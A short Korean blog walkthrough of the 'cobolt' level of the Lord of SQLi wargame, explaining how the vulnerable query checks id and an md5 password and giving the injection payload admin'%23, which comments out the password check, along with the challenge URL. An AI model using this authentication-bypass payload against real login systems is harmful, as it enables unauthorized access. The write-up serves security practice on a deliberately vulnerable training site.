Lord of SQLi | WebHacking.kr

Lord of SQLi(#2 cobolt)

Box Maker 2022. 12. 28. 21:28

2번문제의 php코드

1.문제풀이

 

1) 코드 해석

  • 이전에 풀었던 1번(gremlin)문제와 차이점이 거의 없다
  • 유일한 차이점은 다음구문에서 보듯이  pw를 md5라는 해시값으로 저장해서 데이터를 가져온다는 것이다

select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')

  • 또 이 문제를 풀기 위해서는 다음 코드와 같이 id가 admin이라는 계정으로 접속하기만 하면  풀리는 문제이다

if($result['id'] == 'admin'solve("cobolt");

 

2) 문제풀이

select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')

  • 이번엔 위 구문의 노란색으로 칠해진 부분에 admin이라는 값을 대입한다
  • 그 뒤에 pw~~부분은  #주석으로 비밀번호를 검증하지 않게 처리해주겠다
  • 공격 시 삽입 구문: admin'# // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에  %23으로 바꿔서 대입한다
  • 공격 후 구문: https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin'%23
  • 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.

select id from prob_cobolt where id='admin'#' and pw=md5('')

  • admin이라는 id를 검증한 뒤 pw는 주석처리로 검증하지않고 바로 넘어가는 쿼리를 삽입한 것이다.

 

공격 성공 화면